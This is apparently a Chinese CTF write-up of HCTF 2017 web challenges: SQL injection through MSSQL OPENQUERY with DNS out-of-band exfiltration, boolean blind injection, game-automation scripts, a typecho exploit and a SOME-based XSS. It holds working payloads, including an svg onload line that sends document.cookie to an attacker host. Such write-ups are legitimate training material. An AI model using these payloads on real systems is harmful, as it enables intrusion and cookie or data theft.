louys louys

hctf wp 1

in web相关read (389) 文章转载请注明来源!

前言

这次和pku组成联队,体验了一把巅峰。

web艰难地ak了,膜蓝猫,比我们整整早了7,8个小时ak了web。

easy_sign_in

打开发现时一个https的页面,浏览器报ssl错误,是不受信任的证书。估计flag在证书的内容里面。

结果mac下花了不少时间才找到看查看证书的地方,orz。

打开证书,发现有个flag in字样,访问组织者处的ip得到flag。

boring website

扫目录得到www.zip,可以看到index.php的逻辑

<?php
    echo "Bob received a mission to write a login system on someone else's server, and he he only finished half of the work<br />";
    echo "flag is hctf{what you get}<br /><br />";
    error_reporting(E_ALL^E_NOTICE^E_WARNING);

    try {
       $conn = new PDO( "sqlsrv:Server=*****;Database=not_here","oob", ""); 
    }

    catch( PDOException $e ) {
       die( "Error connecting to SQL Server".$e->getMessage() ); 
    }

    #echo "Connected to MySQL<br />";
    echo "Connected to SQL Server<br />";

    $id = $_GET['id'];
    if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
        die('NoNoNo');
    }
    $query = "select message from not_here_too where id = $id"; //link server: On  linkname:mysql

    $stmt = $conn->query( $query ); 
    while ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
        //TO DO: ...
        //It's time to sleep...
    }

    ?>

可以看到这里是用pdo起来的,所以是可以多语句执行的。

Sometimes more than one database service in a server Add a new server : 120.25.216.69:38324/?id=1

从代码中的sqlsrv可以知道连接的是mssql,应该是要通过某种方法连接到mysql上面进行注入。经过队友查找资料发现可以通过openquery来连接其他sql。而这里注释里面也给了linkname,应该没错了。

由于配置比较麻烦,做题的时候就直接在题目搞了。

sleep和benchmark被ban了,就先考虑用多语句预编译的形式来绕过

set @x=0x73656c656374202a2066726f6d206d7973716c2e757365723b;prepare a from @x;execute a;`

类似这样的,结果直接在sql命令行下没问题,但是测试不成功,发现是exec被ban,导致execute也不行。

然后就考虑用带外dns出数据,payload如下

id=3;SELECT * FROM OPENQUERY('mysql','SELECT LOAD_FILE(CONCAT("\\","xxxx.xxxxx.ceye.io\foobar"))')

搞了半天也没见什么数据,很疑惑。

再然后就考虑能不能用拼接字符串的形式,在openquery的参数这里拼个sleep出来。

结果发现开发者深谋远虑,在openquery第二个参数这里不允许有变量的出现。

OPENQUERY does not accept variables for its arguments.

OPENQUERY cannot be used to execute extended stored procedures on a linked server. However, an extended stored procedure can be executed on a linked server by using a four-part name. 

感到十分疑惑,便去睡觉了。

第二天起来,发现题目被做掉了,就是dns带外出的。

看了一眼payload,奇怪就是昨天那个啊,我当时怎么没收到,辣鸡ceye。

id=3;SELECT * FROM OPENQUERY(mysql,'SELECT LOAD_FILE(CONCAT("\\","www3.xxxxx.ceye.io\foobar"))')

再仔细一看,不对,好像有一些差别,mysql没有引号,orz。

官方文档

Syntax

OPENQUERY ( linked_server ,'query' )  

这就是不仔细看文档的下场。

然后就是正常的注入了。

poker2

辣鸡游戏,毁我青春。

更新完flash,登录上去

是一个还挺完善的页游,开始测试各种功能。

发现有一个圣诞小屋的地图怪只有3点血,攻击也很低,打完以后给84000经验。结合要升100级的提示,感觉可能要刷经验。先分析了一下数据包,发现有一个请求是获得怪物id和进入交战状态,有一个请求是发生攻击行为。

开自动战斗打一会后,继续分析各种功能,发现有人已经90级了?有人拿到成长巨高的神宠了?感觉可能不是刷怪那么简单,又申请了几个账号登录后发现,有一些账号有初始水晶和已接任务。

于是写了一个face.py来申请账号,来获得一个好的初始账号。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2017-11-11 18:03:23
# @Author  : louys (louyslala@gmail.com)
# @Link    : http://www.louys.net.cn

import requests
import time

S = requests.session()


def reg(string):
    url = "http://petgame.2017.hctf.io/login/register.php?bname=%s&sex=2&head=2&bc=2&username=%s&pass=%s" %(string,string,string)
    print "the reg info "+S.get(url).content

def get_inf(string):
    url = "http://petgame.2017.hctf.io/passport/dealPc.php"
    payload = {"username":string,"mac":'','sign':'',"password":string,'mobile1':'1'}
    print "login result "+S.post(url,data=payload).content
    print "the username is " + string
    url = "http://petgame.2017.hctf.io/function/User_Mod.php"
    content = S.get(url).content
    shui_pos = content.find("水晶")
    print content[shui_pos:shui_pos+15]
    wei_pos = content.find("威望")
    print content[wei_pos:wei_pos+15]
    chong_pos = content.find("宠物")
    print content[chong_pos:chong_pos+15]
    yuan_pos = content.find("元宝")
    print content[yuan_pos:yuan_pos+15]
    ji_pos = content.find("积分")
    print content[ji_pos:ji_pos+15]

def get_task(string):
    url = "http://petgame.2017.hctf.io/passport/dealPc.php"
    payload = {"username":string,"mac":'','sign':'',"password":string,'mobile1':'1'}
    print "login result "+S.post(url,data=payload).content
    print "the username is " + string
    url = "http://petgame.2017.hctf.io/function/taskshow.php?title_vary=3&bid=2&rd=0.38350920765076046"
    content = S.get(url).content
    print content


def main():
    for i in range(300,400):
        tmp = "louys"+str(i)
        reg(tmp)
        #get_task(tmp)
        time.sleep(2)


if __name__ == '__main__':
    main()

刷到一个40多w水晶的号,在商店购买了一波金木水火土的终极宠物和vip钻石卡和好事成双123456789。结果发现好事成双兑换经验的任务没有开启,还是要老老实实的刷怪,orz。于是挂了一个脚本,睡觉去了。第二天起来发现一晚上居然只刷到88级,感觉情况不妙。又申请了几个账号,发现在主页等待一会后会跳一个新手指引,点完后送一个保送90级礼包。打开后发现是每五级才能开一次,而且打开的经验不能支撑直接到90级??(我这里不知道是不是脸黑,好像学弟他们真的保送90级了,而且不少其他账号的宠物都直接到了90级?)反正领完礼包,发现仍旧要刷怪,orz。这后面一级都上亿的经验,一把84000有点不够看。

研究了一会,发现这游戏能多开,几个session同时刷怪可以大大提升效率。

于是修改了attack.py来刷怪。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2017-11-11 12:15:01
# @Author  : louys (louyslala@gmail.com)
# @Link    : http://www.louys.net.cn

import requests
import re
from threading import Thread
import sys
import random

S = requests.session()

attack_url = "http://petgame.2017.hctf.io/function/FightGate.php?id=1&g=%s&checkwg=checked&rd=%s"
#gg_url = "http://petgame.2017.hctf.io/function/Fight_Mod.php?p=89&bid=2448&rd=0.4393741597904868"
gg_url = "http://petgame.2017.hctf.io/function/Fight_Mod.php?p=46090&type=1"
#gg_url="http://petgame.2017.hctf.io/function/Fight_Mod.php?pz=2&p=46090&auto=2&rd=0.22476699386060095&team_auto=1"

header1 = {"Referer":"http://petgame.2017.hctf.io/function/Fight_Mod.php?p=46090&type=1",
           "User-Agent":'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'}
#header1 = {"Referer":"http://petgame.2017.hctf.io/function/Fight_Mod.php?pz=2&p=46090&auto=2&rd=0.7697414015208284&team_auto=1",
 #           "User-Agent":'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'}



header2 = {"Referer":"http://petgame.2017.hctf.io/index.php",
           "User-Agent":'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'}

def log():
    url = "http://petgame.2017.hctf.io/passport/dealPc.php"
    string = "louys303"
    payload = {"username":string,"mac":'','sign':'',"password":string,'mobile1':'1'}
    S.post(url,data=payload,headers=header2,timeout=2).content


def attack(g):
    target = attack_url % (g,str(random.random()))
    content = S.get(url=target,headers=header1,timeout=1).content
    print content

def get_gg():
    content = S.get(gg_url,headers=header2,timeout=1).content
    gg = re.findall(r"gg=\[(.*)\]",content)[0]
    gg = gg.split(",")[-1]
    return gg

def main():
    log()
    while True:
        try:
            gg = get_gg()
            attack(g=gg)
            attack(g=gg)
            attack(g=gg)
        except KeyboardInterrupt:
            sys.exit()
        except Exception as e:
            print e
            pass

if __name__ == '__main__':
    main()
    pass

在各种服务器用nohup狂开N个进程后得到flag。

ps:这题目很有趣,但是有点坑了,刷怪机制鼓励选手狂开脚本的情况下导致了服务器经常崩溃,完全可以把怪的经验调高一些。(但是null好像一会就出了,不知道是不是我漏了什么机制)

pps:于是打了1天多页游,疯狂划水。

pps:还有一个flag在注册这里有个盲注,可以出flag。另外从主办方的反馈来看,有一半的队伍是通过盗号获得的flag,orz。

SQL Silencer

当时只接手了后半部分,学长给了一个链接说是typecho的,就是之前爆出的install.php的洞。

前半部分是注入得到的。

网页有不少过滤,但还是可以通过括号的形式进行查询的,本身是一个布尔盲注,可以通过id的变化来得到不同的结果。

1是alice,2是bob,3是cc。

http://sqls.2017.hctf.io/index/index.php?id=2^((select(count(1))from(flag))=2)

payload大致如上,可以得到库里面有两行数据

http://sqls.2017.hctf.io/index/index.php?id=2^((select(count(1))from(flag)where(binary(flag)<%s))>0x00)

可以这样去跑盲注。

跑完以后得到typecho的地址

http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/index.php

用exp打,发现upload目录下面有一句话,菜刀连不上,只好手动。(应该是大佬传上去的)

在根目录找到flag文件夹/flag_is_here,进去读文件就是了。

Deserted place

由于页游划了一天水,接手这道题目的时候比赛没剩多少时间了。

大佬们反馈了两条信息,一条是尝试跨域post失败,一条是有个csrftoken不好搞,看来应该是一道xss。

访问进去,有report bug,有message,有csp,典型的xss题目。

发现用户的编辑结果在http://desert.2017.hctf.io/edit.php?callback=EditProfile中是被转义的,但是在访问user.php的时候会触发xss,显然这是个self-xss。

由于大佬提到了csrftoken,就看了眼究竟是怎么实现的。

结果在edit.php里面没有找到token

<form class="form-signin">
    <div class="row">
    <h4 class="black">username:</h4><input type="text" class="form-control" id="user" name="user" readonly="readonly" value="louys2">
    </div>
    <div class="row">
    <h4 class="black">email:</h4><input type="text" class="form-control" id="email" name="email" value="aasdasd">
    </div>
    <div class="row">
    <h4 class="black">message:</h4><textarea type="text" class="form-control" id="mess" name="message" rows="3">fdsdfsfasdasd</textarea>
    </div>
</form>

但是流量中又确实有token,感觉很诡异。

仔细观察js代码

function UpdateProfile(){
    var username = document.getElementById('user').value;
    var email = document.getElementById('email').value;
    var message = document.getElementById('mess').value;

    window.opener.document.getElementById("email").innerHTML="Email: "+email;
    window.opener.document.getElementById("mess").innerHTML="Message: "+message;

    console.log("Update user profile success...");
    window.close();
}

function EditProfile(){
    document.onkeydown=function(event){
        if (event.keyCode == 13){
            UpdateProfile();
        }
    }
}

function RandomProfile(){
    setTimeout('UpdateProfile()', 1000);
}

发现RandomProfile函数会自动触发UpdateProfile函数,而UpdateProfile函数有一个很诡异的地方就是会通过opener来修改父窗口的email和mess的内容。

function random(){
    var newWin = window.open("./edit.php?callback=RandomProfile",'','width=600,height=600');
    var loop = setInterval(function() { 
      if(newWin.closed) {  
        clearInterval(loop);  
        update();
      }  
    }, 1000);

};

而父窗口中,发现当子窗口退出后会自动触发update操作,这个时候才会取得cstftoken来进行更新操作。

function update(){
    
    var    email = document.getElementById("email").innerHTML.substr(7);
    var message = document.getElementById("mess").innerHTML.substr(9);
    var csrftoken = document.getElementById("csrft").innerHTML.substr(11);
    
    var x = new XMLHttpRequest();
    x.open('POST', './api/update.php', true); 
    x.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    x.send('message='+message+'&email='+email+'&csrftoken='+csrftoken);
}

奇葩的token获取方式,诡异的RandomProfile,opener传递内容,这中间必有联系。

有一条请求http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=xxx,其中user参数是可控的,访问后会显示对应用户的个人信息(但是是被转义的)。

经过梳理后,得到初步思路

1.注册一个xxx账号

2.修改xxx的message为payload

3.通过report功能使得admin访问某个页面。

4.某个页面打开子窗口为xxx的属性页。

5.等待触发RandomProfile中的UpdateProfile,通过opener便可修改父窗口的email和mess。

但是感觉还是缺了什么,有些不通顺的地方。首先怎么使得admin访问的可控页面变成user.php,这样子窗口才能通过opener传递信息到目标。还有不论通过什么方式打开了user.php,我们便不再可能通过js来控制它的行为了,怎么触发update来保存信息。

后来大佬说有一种叫做some攻击的姿势让我去看一下,看了几篇文章,又是介绍同源,又是jsonp的,看的很乱。

但是总结下来,得到了一个重要思路就是父窗口可以在打开子窗口后跳转到目标页面实现攻击。

这也就解决了第一个跳转的问题。

本地测试了一波,发现能够把script标签写入目标dom树,但是没有弹框,怀疑是没有渲染。(本地又测了一下,ff和chrome都没有弹框)。

做到这里感觉第二步的update没必要触发了,现在只需要找一个能够在插入dom树时就触发的payload就行了。

尝试了一下svg标签的onload事件,发现很明显已经插在dom树里面了,但是就是不弹窗十分疑惑,这时候群里大佬说他能弹框啊,猛然惊醒,应该是chrome的锅,于是马上换到ff下就触发了。

于是写出如下payload

<svg/onload="window.location='http://xxx?a'+document.cookie">

把xxx账号的属性修改为如上内容(需要burp抓包修改,不然还没触发update就跳转走了)

<!DOCTYPE html>
<html>
<head>
    <title>test</title>
</head>
<body>
<script type="text/javascript">
    window.open("http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=xxx",'','width=600,height=600');
    window.location="http://desert.2017.hctf.io/user.php";
</script>
</body>
</html>

然后让admin访问如上页面就能触发xss,flag在cookie中。

ps:some攻击是在某次blackhat演讲上提到的,但是实际做题时,其实就算不知道这种攻击方式也能得到初步的思路,唯一的关键点在于跳转如何实现。

环境现在好像关掉了,本来想复现原来没看的题目的,只能放到下次开放源码了

jrotty WeChat Pay

微信打赏

jrotty Alipay

支付宝打赏

文章二维码

扫描二维码,在手机上阅读!

此处评论已关闭

博客已萌萌哒运行
© 2018 由 Typecho 强力驱动.Theme by Yodu
前篇 后篇
雷姆
拉姆